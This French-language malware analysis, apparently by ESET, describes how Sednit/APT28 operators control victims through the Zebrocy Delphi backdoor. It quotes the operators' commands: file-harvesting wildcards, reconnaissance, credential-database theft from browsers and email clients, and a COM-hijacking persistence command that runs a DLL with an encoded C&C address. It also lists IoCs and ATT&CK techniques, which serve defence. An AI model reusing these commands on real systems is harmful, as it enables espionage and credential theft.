Que se passe-t-il lorsqu'une victime est compromise par une porte dérobée et que l'opérateur la contrôle? C'est une question difficile à laquelle la rétro-ingénierie du code ne permet pas de répondre. Dans cet article, nous analyserons les commandes envoyées par l'opérateur à ses cibles.

Le groupe Sednit - également connu sous les noms d'APT28, de Fancy Bear, de Sofacy ou de STRONTIUM - opère depuis au moins 2004 et a souvent fait les manchettes ces dernières années.

Récemment, nous avons dévoilé l'existence d'un rootkit UEFI, appelé LoJax, que nous attribuons au groupe Sednit. C'est une première pour un groupe d'APT, et montre que Sednit a accès à des outils très sophistiqués pour mener ses opérations d'espionnage.

Il y a trois ans, le groupe Sednit a lancé de nouvelles composantes ciblant les victimes dans divers pays du Moyen-Orient et d'Asie centrale. Depuis, le nombre et la diversité des composants ont considérablement augmenté. Les chercheurs d'ESET et nos collègues provenant d'autres entreprises ont documenté ces composants. Dans cet article, nous nous concentrerons cependant sur les aspects en aval de la compromission, c’est-à-dire ce que les opérateurs font une fois qu'un système victime exécute une porte dérobée Zebrocy Delphi.

L'appât de l'ours

Fin août 2018, le groupe Sednit a lancé une campagne de harponnage par courriel, au cours de laquelle il a distribué des URL raccourcis qui ont livré la première étape des composants Zebrocy. Dans le passé, Sednit utilisait une technique similaire pour l'hameçonnage des informations de connexion (ou credential phishing). Cependant, il est inhabituel pour le groupe d'utiliser cette technique pour livrer directement l'un de ses composants malveillants. Auparavant, il avait utilisé des exploits pour livrer et exécuter la première étape des logiciels malveillants, tandis que dans cette campagne, le groupe s'est entièrement appuyé sur l'ingénierie sociale pour inciter les victimes à diriger la première partie de la chaîne. La capture d'écran de la figure 1 montre des statistiques brèves pour l'URL raccourcie utilisée dans cette campagne.

Figure 1 - Statistiques de l'URL Bitly

Environ 20 clics ont été enregistrés sur ce lien la semaine même où l'URL a été créée, et ceux-ci ont vraisemblablement téléchargé l'archive cible. N'oublions pas que cela peut signifier moins de 20 victimes potentielles, car les victimes peuvent avoir cliqué sur l'URL deux fois, ou peut-être même plus, puisque le résultat n'était pas celui auquel elles s'attendaient. C’est ce que nous allons décrire ci-dessous.

Bien que les données de télémétrie ESET indiquent que cette URL a été fournie par de harponnage par e-mail, nous ne disposons pas d'échantillon d'un tel message. L'URL raccourcie mène la victime à une URL basée sur l'adresse IP, où se trouve la charge utile archivée.

Malheureusement, sans le message, nous ne savons pas s'il inclut des instructions pour l'utilisateur, s'il utilise d’autres techniques d’ingénierie sociale ou s’il se base uniquement sur la curiosité de la victime. L'archive contient deux fichiers; le premier est un fichier exécutable, tandis que le second est un document PDF leurre.

Figure 2 - Fichiers extraits des archives (Google Translate propose comme traduction de l’Ukrainien « CATALOGUE - (2018).exe » et « Order 97.pdf »)

Notez qu'il y a une faute de frappe dans le nom de fichier de l'exécutable; on devrait lire « ДОВIДНИК », plutôt que « ДОВIДНIК ». Une fois le binaire exécuté, une boîte de dialogue d'invite de mot de passe s'ouvre. Le résultat de la validation du mot de passe sera toujours erroné, mais après l'apparente tentative de validation, le document PDF leurre est ouvert. Ce document semble être vide, mais le téléchargeur, qui est écrit en Delphi, continue de fonctionner en arrière-plan. L'adresse IP est également utilisée dans l'URL codée en dur dans le premier downloader binaire.

La tannière de l'ours

Le téléchargeur de premier niveau téléchargera et exécutera un nouveau téléchargeur, écrit en C++, pas si différent des autres téléchargeurs Zebrocy. Encore une fois, ce téléchargeur est aussi simple que les autres téléchargeurs du groupe Zebrocy. Il crée un ID et télécharge une nouvelle porte dérobée intéressante, (cette fois-ci) écrite en Delphi.

Comme nous l'avons expliqué dans notre plus récent article sur Zebrocy, la configuration de la backdoor est stockée dans la section des ressources et est divisée en quatre différentes blobs codées en hexadécimale et chiffrés.  Ces blobs contiennent les différentes parties de la configuration.

Figure 3 - Aperçu de la section des ressources

Une fois que la porte dérobée envoie des informations de base sur son système nouvellement compromis, les opérateurs prennent le contrôle de la porte dérobée et commencent à envoyer des commandes immédiatement.

Ainsi, le temps entre l'exécution du downloader par la victime et les premières commandes de l'opérateur n'est que de quelques minutes.

Technique de chasse de l'ours

Dans cette section, nous décrirons plus en détail les commandes exécutées manuellement par les opérateurs via leur porte dérobée Delphi.

Les commandes disponibles sont situées dans l'un des blobs de configuration mentionnés précédemment (le blob « commands » de la figure 3).  Le nombre de commandes prises en charge a augmenté avec le temps, la dernière version de la porte dérobée ayant plus de trente.  Comme nous n'avons pas identifié de motif dans l'ordre dans lequel les commandes sont invoquées, nous pensons que les opérateurs les exécutent manuellement.

Commands Arguments
SCREENSHOT None
SYS_INFO None
GET_NETWORK None
SCAN_ALL None

Les commandes ci-dessus sont généralement exécutées lorsque les opérateurs se connectent pour la première fois à une porte dérobée nouvellement activée. Ils n'ont pas d'arguments, et ils sont assez explicites. D'autres commandes couramment exécutées peu de temps après l'activation de ces portes dérobées sont listées ci-dessous :

Commands Arguments
REG_GET_KEYS_VALUES HKEY_CURRENT_USER
Software\Microsoft\Windows\CurrentVersion
DOWNLOAD_DAY(30) c:\*.doc;*.docx;*.xls;*.xlsx;*.ppt;*.pptx;*.rtf;*.tif;*.tiff;*.jpg;*.jpeg;
*.bmp;*.rar;*.zip;*.pdf;*.KUM;*.kum;*.tlg;*.TLG;*.sbx;*.crf;*.hse;*.hsf;*.lhz;

d:\*.doc;*.docx;*.xls;*.xlsx;*.ppt;*.pptx;*.rtf;*.tif;*.tiff;*.jpg;*.jpeg;
*.bmp;*.rar;*.zip;*.pdf;*.KUM;*.kum;*.tlg;*.TLG;*.sbx;*.crf;*.hse;*.hsf;*.lhz;

DOWNLOAD_DAY(1)
c:\*.doc;*.docx;*.xls;*.xlsx;*.ppt;*.pptx;*.rtf;*.tif;*.tiff;*.jpg*.jpeg
*.bmp*.rar;*.zip;*.pdf;*.KUM;*.kum;*.tlg;*.TLG;*.sbx;*.crf;*.hse;*.hsf;

d:\*.doc;*.docx;*.xls;*.xlsx;*.ppt;*.pptx;*.rtf;*.tif;*.tiff;*.jpg*.jpeg
*.bmp*.rar;*.zip;*.pdf;*.KUM;*.kum;*.tlg;*.TLG;*.sbx;*.crf;*.hse;*.hsf;

CMD_EXECUTE echo %APPDATA%
ipconfig /all
netstat -aon
CMD_EXECUTE wmic process get Caption,ExecutablePath
reg query
"HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s

Ceux qui ont déjà lu nos articles précédents sur Zebrocy remarqueront que le même genre d'information est envoyé, encore et encore par étapes précédentes. Ces informations sont demandées quelques minutes après le compromis initial et la quantité de données que l'opérateur aura à traiter est considérable.

Afin de recueillir encore plus d'informations, les opérateurs de Zebrocy téléchargent et utilisent de temps en temps des dumpers sur les machines des victimes. Les dumpers actuels présentent certaines similitudes avec ceux utilisés précédemment par le groupe. Dans le cas présent, Yandex Browser, Chromium, 7Star Browser (un navigateur basé sur Chromium), et CentBrowser sont ciblés, ainsi que les versions de Microsoft Outlook de 1997 à 2016 :

Command Arguments
UPLOAD_AND_EXECUTE_FILE C:\ProgramData\Office\MS\msoffice.exe
[…]
4D5A9000…

Ces dumpers créent des fichiers journaux indiquant la présence ou l'absence de bases de données potentielles à vider :

Command Arguments
DOWNLOAD_LIST C:\ProgramData\Office\MS\out.txt
C:\ProgramData\Office\MS\text.txt

Le dumper actuel contient la sortie suivante lorsqu'il n'y a pas de bases de données à vider :

%LOCALAPPDATA%\Yandex\YandexBrowser\User Data\Default\Login Data not found
%LOCALAPPDATA%\Chromium\User Data\Default\Login Data not found
%LOCALAPPDATA%\7Star\7Star\User Data\Default\Login Data not found
%LOCALAPPDATA%\CentBrowser\User Data\Default\Login Data not found

Ces dumpers sont rapidement enlevés une fois qu'ils ont fait leur travail. De plus, la porte dérobée contient une liste de noms de fichiers liés aux identifiants des logiciels énumérés ci-dessous (noms provenant de la base de données) :

key3.db Firefox private keys (now named key4.db)
cert8.db Firefox certificate database
logins.json Firefox encrypted password database
account.cfn The Bat! (email client) account credentials
wand.dat Opera password database

Les opérateurs se chargent de récupérer ces bases de données si elles sont présentes sur l'ordinateur de la victime.

Command Arguments

DOWNLOAD_LIST
%APPDATA%\The Bat!\Account.CFN
%APPDATA%\The Bat!\[REDACTED]\Account.CFN

Les opérateurs récupèrent ces fichiers sur la machine en utilisant la commande DOWNLOAD_LIST. Cette commande peut être utilisée lorsque les opérateurs sont conscients de la présence de fichiers intéressants sur l'ordinateur.

Enfin, selon leur intérêt pour la victime en cause, les opérateurs de logiciels malveillants peuvent déployer une autre backdoor personnalisée. Cette porte dérobée est exécutée à l'aide de la commande CMD_EXECUTE :

Commande Arguments
CMD_EXECUTE
reg add "HKCU\Software\Classes\CLSID\{0CD069CF-AC9B-41F4-9571-3A95A62C36A1}" /ve /d "Reliability Maintenance Control Panel" /reg:64 /f&&reg add "HKCU\Software\Classes\CLSID\{0CD069CF-AC9B-41F4-9571-3A95A62C36A1}\InProcServer32" /ve /d "%APPDATA%\Microsoft\WinSupport\RMC\mtrcpl.dll" /reg:64 /f&&reg add "HKCU\Software\Classes\CLSID\{0CD069CF-AC9B-41F4-9571-3A95A62C36A1}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Both" /reg:64 /f
rundll32.exe "%APPDATA%\Microsoft\WinSupport\RMC\mtrcpl.dll",#1 687474703A2F2F[REDACTED]
dir /s /b /o:gn %APPDATA%\Microsoft\

On observe plusieurs faits intéressants ici. Premièrement, ils utilisent le détournement d'objet COM pour rendre le malware persistant sur le système même si la porte dérobée personnalisée n'est installée que pendant quelques heures. Deuxièmement, la chaîne codée en hexadécimal est la C&C utilisée par la porte dérobée personnalisée, tandis que pour la porte dérobée Delphi, la C&C est intégrée dans la configuration.

Les deux backdoors Delphi, la plus commune et celle du dessus, sont assez similaires mais contiennent ces modifications intéressantes :

Delphi backdoor Downloaded Delphi backdoor
Delphi compiler version 14.0-15.0 32.0
32/64-bit 32-bit 64-bit
Configuration location resource section no config (C&C is passed as an argument)
Number of commands 5 3
Encryption algorithm AES ECB custom
Lifetime on the computer a few days a few hours

Encore une fois, le but de cette porte dérobée personnalisée n'est pas très clair. Le taux de détection est nettement inférieur à celui de la backdoor « habituelle ». La très courte période de temps pendant laquelle cette porte dérobée se trouve sur le système et fonctionne rend sa récupération plus difficile. Une fois que ses opérateurs ont accompli leurs mauvaises actions, ils l'enlèvent rapidement.

Résumé

L'observation des commandes utilisées dans la nature par l'opérateur est très intéressante. Ils recueillent une quantité considérable d'information sur la cible compromise et ils ne s'inquiètent pas de la duplication des données. Il montre un écart important entre la stratégie de développement et ce que les opérateurs font dans la pratique. Les backdoors ayant une configuration et des modules personnalisés sont déployées très soigneusement, ce qui indique que des précautions sont en place, pour éviter que ces portes dérobées ne se retrouvent entre les mains des chercheurs.

La première série de commandes est la même et exécutée dans un délai très court, ce qui soulève une autre question : est-elle automatisée ?

Indicateurs de compromission (IoC)

Distribution URL
http://45.124.132[.]127/DOVIDNIK - (2018).zip

C&C server
http://45.124.132[.]127/action-center/centerforserviceandaction/service-and-action.php

SHA-1 ESET detection names
48f8b152b86bed027b9152725505fbf4a24a39fd Win32/TrojanDownloader.Sednit.CMT
1e9f40ef81176190e1ed9a0659473b2226c53f57 Win32/HackTool.PSWDump.D
bfa26857575c49abb129aac87207f03f2b062e07 Win32/PSW.Agent.OGE

Techniques MITRE ATT&CK

Tactic ID Name Description
Initial Access T1192 Spearphishing Link Spearphishing emails using a URL-shortener service to trick the victim into clicking on a link to a zip file containing malicious files.
Execution T1204 User Execution Tricks users into running an executable with an icon that looks like a Microsoft Word document.
T1085 Rundll32 rundll32.exe has been used to run a new, downloaded, malicious DLL.
T1047 Windows Management Instrumentation WMI commands to gather victim host details.
T1053 Scheduled Task Schedule task to execute malicious binaries.
Persistence T1060 Registry Run Keys / Startup Folder Registry key HKCU\Software\Microsoft\CurrentVersion\Run\ used for persistence.
T1122 Component Object Model Hijacking COM hijacking for persistence.
Defense Evasion T1107 File Deletion Deletes files (binaries and files created) after usage.
T1089 Disabling Security Tools Kills processes
Discovery T1012 Query Registry Registry keys enumeration
T1057 Process Discovery Lists running processes
T1082 System Information Discovery Uses systeminfo command to gather information about the victim.
T1083 File and Directory Discovery Uses echo ENV command to list the content of a directory.
Collection T1005 Data from Local System Scans files that match extensions listed in the malware.
T1039 Data from Network Shared Drive Enumerates remote and local drives and then exfiltrates files matching specific extensions.
T1025 Data from Removable Media Enumerates remote and local drives and then exfiltrates files matching specific extensions.
T1074 Data Staged Creates file containing path of all files to exfiltrate.
T1056 Input Capture Keylogger feature.
T1113 Screen Capture Screenshot feature.
Exfiltration T1020 Automated Exfiltration Automatically prepare a file with all file paths to retrieve and send it.
T1022 Data Encrypted Data sent are hex-encoded, encrypted with a known algorithm or a custom one.
T1041 Exfiltration Over Command and Control Channel Data are exfiltrated to a C&C server.
Command And Control T1043 Commonly Used Port Downloaders and backdoors use ports 80 or 443 to communicate with the C&C server.
T1024 Custom Cryptographic Protocol Data sent are hex encoded, encrypted with AES or a custom algorithm.
T1132 Data Encoding Data sent are hex-encoded, encrypted with a known algorithm or a custom one.
T1001 Data Obfuscation Data sent are hex-encoded, encrypted with a known algorithm or a custom one.
T1008 Fallback Channels A fallback C&C server is embedded in the configuration.
T1079 Multilayer Encryption Data sent are hex-encoded, encrypted with a known algorithm or a custom one.
T1071 Standard Application Layer Protocol HTTP, HTTPS are used to communicate.
T1032 Standard Cryptographic Protocol Data sent are hex-encoded, encrypted with a known algorithm or a custom one.